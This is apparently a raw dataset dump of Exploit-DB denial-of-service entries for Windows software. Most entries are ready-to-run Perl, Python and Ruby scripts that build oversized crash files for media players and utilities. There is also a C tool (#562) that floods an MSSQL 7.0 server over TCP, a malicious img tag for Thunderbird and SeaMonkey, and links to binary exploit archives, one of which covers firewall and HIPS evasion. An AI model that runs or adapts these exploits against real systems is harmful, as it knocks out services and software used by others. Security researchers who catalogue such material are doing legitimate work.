deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10103
Description: Mozilla Thunderbird 2.0.0.23 Mozilla SeaMonkey 2.0 - 'jar50.dll' Null Pointer Dereference
Type: dos
Platform: windows
Date: 2009-11-16
Author: Marcin Ressel

Exploit:
 
 (jar50.dll) 

 Mozilla Thunderbird 2.0.0.23 
 Mozilla Seamonkey 2.0 


eax=03d9b850 ebx=80000000 ecx=00000000 edx=00000000 esi=03d9b85c edi=80000000
eip=60016550 esp=0012d438 ebp=0012d5e4 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217

funkcja: jar50
        6001653a 5e               pop     esi
        6001653b 8be5             mov     esp,ebp
        6001653d 5d               pop     ebp
        6001653e c21800           ret     0x18
        60016541 8b442404         mov     eax,[esp+0x4]
        60016545 56               push    esi
        60016546 8b5028           mov     edx,[eax+0x28]
        60016549 8b4824           mov     ecx,[eax+0x24]
        6001654c 83c0f4           add     eax,0xfffffff4
        6001654f 52               push    edx
        60016550 8b31             mov     esi,[ecx]        ; ds:0023:00000000=????????
        60016552 50               push    eax
        60016553 51               push    ecx
        60016554 ff560c           call    dword ptr [esi+0xc] ; 12
        60016557 5e               pop     esi
        60016558 c20c00           ret     0xc
        6001655b 53               push    ebx
        6001655c 56               push    esi
        6001655d 8b74240c         mov     esi,[esp+0xc]
        60016561 57               push    edi
        60016562 f6465780         test    byte ptr [esi+0x57],0x80


Nie kochamy Kubusia Puchatka :)

<img src="jar:news://!/">
Exploit-DB #9689
Description: MP3 Collector 2.3 - '.m3u' Local Crash (PoC)
Type: dos
Platform: windows
Date: 2009-09-15
Author: zAx

Exploit:
#!/usr/bin/perl
# MP3 Collector 2.3 (m3u File) Local Crash PoC
# By : zAx
# Application Homepage : http://collectorz.com
# Application Download : http://downloads.collectorz.com/mp3collectorsetup.exe
# Go to Playlist menu, select Open Playlist, Select the File and a click on file name.

$header = "http://";
$crash = "\x41" x 9500; # Just a Random size .
my $file = "CraSH.m3u";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $header.$crash;
close($FILE);
print "Done \n";

# milw0rm.com [2009-09-15]
Exploit-DB #14290
Description: MP3 Cutter 1.5 - Denial of Service
Type: dos
Platform: windows
Date: 2010-07-09
Author: Prashant Uniyal

Exploit:
##########################################################
##       Legion of Xtremers & Hackers Garage 
##       (www.loxian.co.cc)   (www.garage4hackers.com)                                                  
##                     MP3 Cutter 1.5 Crash Exploit 
##
##               Author: Prashant a.k.a t3rm!n4t0r						    
##           	c0ntact: happyterminator@gmail.com					   
##                                   				  
##  Greetz to: vinnu, b0nd, fb1h2s, Anarki, Nikhil, D4RK3ST
###########################################################






#exploit.py
#MP3 cutter Crash Exploit

print " MP3 Cutter Crash Exploit ( mp3 file ) \n"

         	
header1 = (
			"\x3C\x41\x53\x58\x20\x56\x45\x52\x53\x49\x4F\x4E\x3D\x22\x33"
		        "\x2E\x30\x22\x3E\x0A\x0A\x3C\x45\x4E\x54\x52\x59\x3E\x3C\x54"
			"\x49\x54\x4C\x45\x3E\x65\x78\x70\x6C\x6F\x69\x74\x3C\x2F\x54"
			"\x49\x54\x4C\x45\x3E\x0A\x3C\x52\x45\x46\x20\x48\x52\x45\x46"
			"\x3D\x22"
			)

header2 = (
			"\x2E\x61\x73\x66\x22\x2F\x3E\x0A\x3C\x2F\x45\x4E\x54\x52\x59"
			"\x3E\x3C\x2F\x41\x53\x58\x3E"
		   )
			
crash = "\x41" * 10000

exploit = header1 + crash  + header2

try:
    out_file = open("crash.mp3",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"
Exploit-DB #34281
Description: MP3 Cutter 1.8 MP3 - File Processing Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-07-09
Author: Prashant Uniyal

Exploit:
source: https://www.securityfocus.com/bid/41506/info

MP3 Cutter is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause an affected application to crash, denying service to legitimate users.

MP3 Cutter 1.8 is vulnerable; other versions may also be affected. 

##########################################################
##       Legion of Xtremers & Hackers Garage
##       (www.loxian.co.cc)   (www.garage4hackers.com)
##                     MP3 Cutter 1.8 Crash Exploit
##  http://www.aivsoft.com/downloads/mp3cutter/download.html
##               Author: Prashant a.k.a t3rm!n4t0r
##              c0ntact: happyterminator@gmail.com
##
##  Greetz to: vinnu, b0nd, fb1h2s, Anarki, Nikhil, D4RK3ST
#########################################################
 
#exploit.py
 
#MP3 cutter Crash Exploit
 
print " MP3 Cutter Crash Exploit ( mp3 file ) \n"
 
header1 = (
        "\x3C\x41\x53\x58\x20\x56\x45\x52\x53\x49\x4F\x4E\x3D\x22\x33"
        "\x2E\x30\x22\x3E\x0A\x0A\x3C\x45\x4E\x54\x52\x59\x3E\x3C\x54"
        "\x49\x54\x4C\x45\x3E\x65\x78\x70\x6C\x6F\x69\x74\x3C\x2F\x54"
        "\x49\x54\x4C\x45\x3E\x0A\x3C\x52\x45\x46\x20\x48\x52\x45\x46"
        "\x3D\x22"
        )
 
header2 = (
        "\x2E\x61\x73\x66\x22\x2F\x3E\x0A\x3C\x2F\x45\x4E\x54\x52\x59"
        "\x3E\x3C\x2F\x41\x53\x58\x3E"
        )
             
crash = "\x41" * 10000
 
exploit = header1 + crash  + header2
 
try:
    out_file = open("crash.mp3",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"
Exploit-DB #14175
Description: Mp3 Digitalbox 2.7.2.0 - '.mp3' Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-07-02
Author: v3n0m

Exploit:
#!/usr/bin/perl

# Mp3 Digitalbox 2.7.2.0 (.mp3) Local Stack Overflow POC
# Author	: v3n0m
# Site		: http://yogyacarderlink.web.id/
# Group		: YOGYACARDERLINK
# Date		: July, 02-2010 [INDONESIA]
# Software	: Mp3 Digitalbox
# Version	: 2.7.2.0 Other versions may also be affected
# Download	: http://www.tsoft.aplus.pl/
# Greetz	: All Yogyacarderlink & devilzc0de Crews
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print "|-----------------------------------------------------------|\n";
print "|   Mp3 Digitalbox 2.7.2.0 (.mp3) Local Stack Overflow POC  |\n";
print "| Created  : v3n0m                                          |\n";
print "| E-mail   : v3n0m666[at]live[dot]com                       |\n";
print "|                                                           |\n";
print "|                                                           |\n";
print "|                                 www.yogyacarderlink.web.id|\n";
print "|-----------------------------------------------------------|\n";
print " Usage: Run this c0de, load file and bo0om!!\n\n";
my $fuck = "\x41" x 500;
my $file = "jovita.mp3";
open (FILE,">$file") or die "[!]Cannot open file";
print FILE "$fuck";
print "\nFile successfully created!\n";
Exploit-DB #9277
Description: MP3 Studio 1.0 - '.mpf' / '.m3u' Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-07-27
Author: hack4love

Exploit:
#!/usr/bin/perl
# Found By :: HACK4LOVE
# MP3 Studio v 1.0 (.mpf /.m3u File) Local Stack Overflow PoC
##http://www.software112.com/products/mp3-millennium+download.html
########################################################################################
##Thanks for SkuLL-HacKeR ####and all WwW.Sec-ArT.CoM/cc team
########################################################################################
##EAX 00000000
##ECX 41414141
##EDX 7C9037D8 ntdll.7C9037D8
##EBX 00000000
##ESP 00134970
##EBP 00134990
##ESI 00000000
##EDI 00000000
##EIP 41414141
########################################################################################
## it so easy exploit but it did not work for me i hope some one exploit it#############
########################################################################################
my $crash="http://"."\x41" x 5000;
open(myfile,'>>hack4love.m3u');
print myfile $crash;
########################################################################################

# milw0rm.com [2009-07-27]
Exploit-DB #7708
Description: MP3 TrackMaker 1.5 - '.mp3' Local Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-09
Author: Houssamix

Exploit:
# #!/bin/perl

# Author : HouSSamix

# MP3 TrackMaker v1.5 .mp3 File Heap Overflow PoC
# http://www.heathcosoft.com/software/mp3trackmaker/mp3tm15.exe

# open the program > browse (source file) > file exploit

#EAX 41414141  <<< 
#ECX 000000F8
#EDX 0000020A
#EBX 00000000
#ESP 0012F408
#EBP 0012F470
#ESI 00000000
#EDI 00000158
#EIP 7C91EB94 ntdll.KiFastSystemCallRet

print "===================================================================== \n";
print "Author : Houssamix  \n";
print "===================================================================== \n";
print "MP3 TrackMaker v1.5 .mp3 File Heap Overflow PoC						 \n";
print "===================================================================== \n\n";

my $file="hsmx.mp3";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE  "A" x 1200;
close($FILE);
print "$file has been created \n";

# milw0rm.com [2009-01-09]
Exploit-DB #12073
Description: MP3 Wav Editor 3.80 - '.mp3' Local Denial of Service
Type: dos
Platform: windows
Date: 2010-04-05
Author: anonymous

Exploit:
# Exploit Title: MP3WavEditor Local DoS .mp3
# Date: April 5, 2010
# Software Link: [http://www.mp3waveditor.com/index.htm]
# Version: 3.80
# Tested on: Windows XP SP3
# Author: [anonymous]
#
#
#!/usr/bin/perl

my $file = "yawn.mp3";
my $_a = "\x41";

open (FILE, ">$file");
print FILE "$_a";

print "Usage: Make playlist -> Add mp3 -> Delete Playlist -> Recreate same playlist\n";
Exploit-DB #10909
Description: MP4 Player 4.0 - Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-01-02
Author: SarBoT511

Exploit:
#!usr/bin/perl
#Exploits title :[MP4 Player 4.0 Local Crash Poc]
#Date : [2010/01/02]
#Aouther : [SarBoT511]
#downloads :[http://mp4-player.ivefound.com]
#tested on :[win xp sp2]
#MP4 Player 4.0
#Greatz [2] :{ aB0 M0haM3d and lezr crew }

$file="SarBoT511.m4v";
$boom="A" x 2000;
open(myfile,">>$file");
print myfile $boom;
close(myfile);
print "Done ..! ~#";
Exploit-DB #8568
Description: mpegable Player 2.12 - '.yuv' Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-04-29
Author: GoLd_M

Exploit:
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ### ###
# #  mpegable Player 2.12 (YUV File) Local Stack Overflow POC   # #
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### # ##
my $chars= "A" x 1104;
my $file="goldm.yuv";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file has been created \n";
print "Thanx Tryag.Com";

# milw0rm.com [2009-04-29]
Exploit-DB #38053
Description: Mpxplay MultiMedia Commander 2.00a - '.m3u' Stack Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2015-09-01
Author: Un_N0n

Exploit:
********************************************************************************************
# Exploit Title: Mpxplay Multimedia Commander Stack-based BOF
# Date: 9/1/2015
# Exploit Author: Un_N0n
# Software Link: http://sourceforge.net/p/mpxplay/activity?source=project_activity
# Version: ﻿V2.00a
# Tested on: Windows 7 x86(32 BIT)
********************************************************************************************

[Steps to Produce the Crash]:
1- open 'mpxp_mmc.exe'.
2- Browser Crash.m3u in audio player.
~ Software will Crash.

[Code to produce crash.txt]: 
junk = "A"*66666
file = open("CRASH.m3u",'w')
file.write(junk)
file.close()
**********************************************************************************************
Exploit-DB #47839
Description: MSN Password Recovery 1.30 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-02
Author: Gokkulraj

Exploit:
# Exploit Title: MSN Password Recovery 1.30 - Denial of Service (PoC)
# Date: 2020-01-02
# Vendor Homepage: https://www.top-password.com/
# Software Link: https://www.top-password.com/download/MSNPRSetup.exe
# Exploit Author: Gokkulraj
# Tested Version: v1.30
# Tested on: Windows 7 x64

# 1.- Download and install MSN Password Recovery
# 2.- Run python code : MSN Password Recovery.py
# 3.- Open CRASH.txt and copy content to clipboard
# 4.- Open MSN Password Recovery and Click 'EnterKey'
# 5.- Paste the content of CRASH.txt into the Field: 'User Name and
Registration Code'
# 6.- click 'OK' you will see a crash.

#!/usr/bin/env python
Dos= "\x41" * 9000
myfile=open('CRASH.txt','w')
myfile.writelines(Dos)
myfile.close()
print("File created")
Exploit-DB #562
Description: MSSQL 7.0 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-09-29
Author: securma massine

Exploit:
/* Microsoft mssql 7.0 server is vulnerable to denial of service attack
* By sending a large buffer with specified data an attacker can stop
the service
* "mssqlserver" the error noticed is different according to services'
pack but the result is always
* the same one.
* Exception Codes = c0000005
* vulnerable: MSSQL7.0 sp0 - sp1 - sp2 - sp3
* This code is for educational purposes, I am not responsible for your acts
* Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */

#include <stdio.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32")
u_long resolv(char*);


void main(int argc, char **argv) {
WSADATA WinsockData;
SOCKET s;
int i;
struct sockaddr_in vulh;
char buffer[700000];
for(i=0;i<700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16);


if (argc!=3) {
printf(" MSSQL denial of service\n");
printf(" by securma massine\n");
printf("Cet outil a ete cree pour test ,je ne suis en aucun cas
responsable des degats que vous pouvez en faire\n");
printf("Syntaxe: MSSQLdos <ip> <port>\n");
exit(1);
}

WSAStartup(0x101,&WinsockData);
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

ZeroMemory(&vulh,sizeof(vulh));
vulh.sin_family=AF_INET;
vulh.sin_addr.s_addr=resolv(argv[1]);
vulh.sin_port=htons(atoi(argv[2]));
if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {
printf("Impossible de se connecter...le port est en generale 1433...\n");
exit(1);
}

{
send(s,buffer,sizeof(buffer),0);

printf("Data envoyes...\n");
}
printf("\nattendez quelques secondes et verifiez que le serveur ne
repond plus.\n");
closesocket(s);
WSACleanup();
}


u_long resolv(char *host_name) {
struct in_addr addr;
struct hostent *host_ent;

if ((addr.s_addr = inet_addr(host_name)) == -1) {
if (!(host_ent = gethostbyname(host_name))) {
printf ("Erreur DNS : Impossible de résoudre l'adresse %s
!!!\n",host_name);
exit(1);
}
CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);
}
return addr.s_addr;
}

// milw0rm.com [2004-09-29]
Exploit-DB #34368
Description: Mthree Development MP3 to WAV Decoder - '.mp3' Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2009-10-31
Author: 4m!n

Exploit:
// source: https://www.securityfocus.com/bid/41912/info

MP3 to WAV Decoder is prone to a remote stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the vulnerable application. Failed attacks will cause denial-of-service conditions. 

/*
    MP3 to WAV Decoder Local Crash PoC !
    Discovered By ZAC003(4m!n)
    Dl Link : http://www.mthreedev.com/setupmp3towav.exe
    Greet Ciph3r for Help me !
*/
#include <stdio.h>
#include <windows.h>
#include <string.h>
#define overflow 13240
#define mp3 "zac003.mp3"
int main (int argc,char **argv){
char buffer[overflow];
    FILE *Player;
    printf("\n******************************************");
    printf("\n* This Bug Discovered By ZAC003(4m!n)    *");
    printf("\n* Special Thank To Aria-Security.CoM     *");
    printf("\n* Greet  Ciph3r for help me !            *");
    printf("\n******************************************");
    buffer[overflow] = 0;
    Player = fopen(mp3,"w+");
    fwrite(Player,sizeof(unsigned char),sizeof(buffer),Player);
    fclose(Player);
    printf("\n Successfully !!");
    return 0;
}
Exploit-DB #14597
Description: Mthree Development MP3 to WAV Decoder - Denial of Service
Type: dos
Platform: windows
Date: 2010-08-10
Author: Oh Yaw Theng

Exploit:
# Exploit Title: Mthree Development MP3 to WAV Decoder (.mp3) DoS
# Date: 10 / 8 / 2010
# Author: Oh Yaw Theng
# Credit : ZAC003(4m!n) 
# Software Link: http://www.mthreedev.com/setupmp3towav.exe
# Tested on: Windows XP SP 2
# CVE : N / A
# Description : Create the malicious .mp3 file , open up using Mthree , after that double click on the file .. Boom ! DEADBEEF !

#!/usr/bin/python

filename = "crash.mp3"

junk = "\x41" * 9000

exploit = junk

textfile = open(filename,'w')
textfile.write(exploit)
textfile.close()
Exploit-DB #18879
Description: MultiMedia Builder 4.9.8 - '.mef' Denial of Service
Type: dos
Platform: windows
Date: 2012-05-15
Author: Ahmed Elhady Mohamed

Exploit:
Multimedia Builder 4.9.8 Malicious mef File Denial of service
===================================================================================
# Exploit Title:Multimedia Builder 4.9.8 Malicious mef File Denial of service
# Author: Ahmed Elhady Mohamed
# Email : ahmed.elhady.mohamed@gmail.com
# Website: www.infosec4all.tk
# version: 4.9.8
# Category: DOS
# Tested on: windows XP SP3
===================================================================================
########################################DESC####################################################
#Multimedia Builder 4.9.8 Malicious mef File Denial of service vulnerability ,when opening a   #
#malicious .mef file.                                                                          #
#To trigger the exploit , go to file->MEF Import ->load MEF                                    #                                                               #
################################################################################################
 
#!/usr/bin/ruby

File.open "crash.mef" , "w" do |file|

crash = "\x41" * 1000
file.write crash
end
Exploit-DB #9173
Description: MultiMedia Jukebox 4.0 Build 020124 - '.pst' / '.m3u' Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-07-16
Author: hack4love

Exploit:
#!/usr/bin/perl
# Found By :: HACK4LOVE
# MultiMedia Jukebox 4.0 Build 020124 (.pst / .m3u ) Local Heap Overflow PoC
# http://www.brothersoft.com/sorcerer-software-multimedia-jukebox-251913.html
########################################################################################
# special thanks for sec-code.com and sniper code
########################################################################################
my $crash="\x41" x 5000;
open(myfile,'>>hack4love.m3u');
print myfile $crash;
########################################################################################

# milw0rm.com [2009-07-16]
Exploit-DB #8090
Description: Multiple PDF Readers - JBIG2 Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-02-23
Author: webDEViL

Exploit:
causes an exception at 41414141

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8090.pdf (2[PII_REDACTED]1.pdf)

# milw0rm.com [2009-02-23]
Exploit-DB #34251
Description: Multiple Tripwire Interactive Games - 'STEAMCLIENTBLOB' Multiple Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2010-07-05
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/41361/info

Multiple Tripwire Interactive games are prone to multiple remote denial-of-service vulnerabilities because the applications fail to properly handle specially crafted network packets.

An attacker can exploit these issues to cause the applications to become unresponsive or to crash the affected game servers, denying service to legitimate users.

The following games are vulnerable:

Killing Floor
Red Orchestra
Darkest Hour: Europe '44-'45
Mare Nostrum 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34251.zip
Exploit-DB #29287
Description: Multiple Vendor Firewall - HIPS Process Spoofing
Type: dos
Platform: windows
Date: 2006-12-15
Author: Matousec Transparent security

Exploit:
source: https://www.securityfocus.com/bid/21615/info

Multiple vendor firewalls and HIPS (host-based intrusion prevention systems) are prone to a process-spoofing vulnerability.

An attacker can exploit this issue to have an arbitrary malicious program appear to run as a trusted process and function undetected on an affected victim's computer.

The following software is vulnerable; other versions may also be affected:

InfoProcess AntiHook version 3.0.0.23
AVG Anti-Virus plus Firewall version 7.5.431 
Comodo Personal Firewall version 2.3.6.81
Filseclab Personal Firewall version 3.0.0.8686
Look 'n' Stop Personal Firewall version 2.05p2
Symantec Sygate Personal Firewall version 5.6.2808

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29287.zip
Exploit-DB #31913
Description: Music AlarmClock 2.1.0 - '.m3u' Crash (PoC)
Type: dos
Platform: windows
Date: 2014-02-26
Author: Gabor Seljan

Exploit:
#------------------------------------------------------------------------------------#
# Exploit Title: Music AlarmClock 2.1.0 (.m3u) Crash PoC                             #
# Date: Feb 25 2014                                                                  #
# Exploit Author: Gabor Seljan                                                       #
# Software Link: http://download.cnet.com/Music-AlarmClock/3000-2350_4-10419263.html #
# Version: 2.1.0                                                                     #
# Tested on: Windows XP SP3                                                          #
#------------------------------------------------------------------------------------#

# (a10.9e8): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=41414141 ebx=00000000 ecx=7ffdd000 edx=41414161 esi=00153700 edi=0012df10
# eip=7c90100b esp=0012d5c8 ebp=0012d5d0 iopl=0         nv up ei pl nz na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202

#!/usr/bin/perl

use strict;
use warnings;

my $filename = "poc.m3u";

my $junk = "A" x 10000;

open(FILE, ">$filename") || die "[-]Error:\n$!\n";
print FILE $junk;
close(FILE);

print "Exploit file created successfully [$filename]!\n";
Exploit-DB #15897
Description: Music Animation Machine MIDI Player - Local Crash (PoC)
Type: dos
Platform: windows
Date: 2011-01-03
Author: c0d3R'Z

Exploit:
# Exploit Title: Music Animation Machine MIDI Player Local Crash PoC
# Date: 1/3/2011
# Author: c0d3R'Z
# Software Link: http://www.musanim.com/player/MAMPlayer2006aug19_035.zip
# Version: Release 035
# Tested on: Windows XP SP2 EN (VirtualBox)

 
# The application crashes when trys to convert a malformed midi file
 
#!/usr/bin/python
 
buffer     = "\x31\x33\x33\x37" * 1337
 
try:
    f = open("test.mid",'w')
    f.write(buffer)
    f.close()
 
    print " Vulnerable file created!..."
    print " Open the mid file with the application and Voila!! , it crashes!!\n"
except:
    print "[-] Error occured!"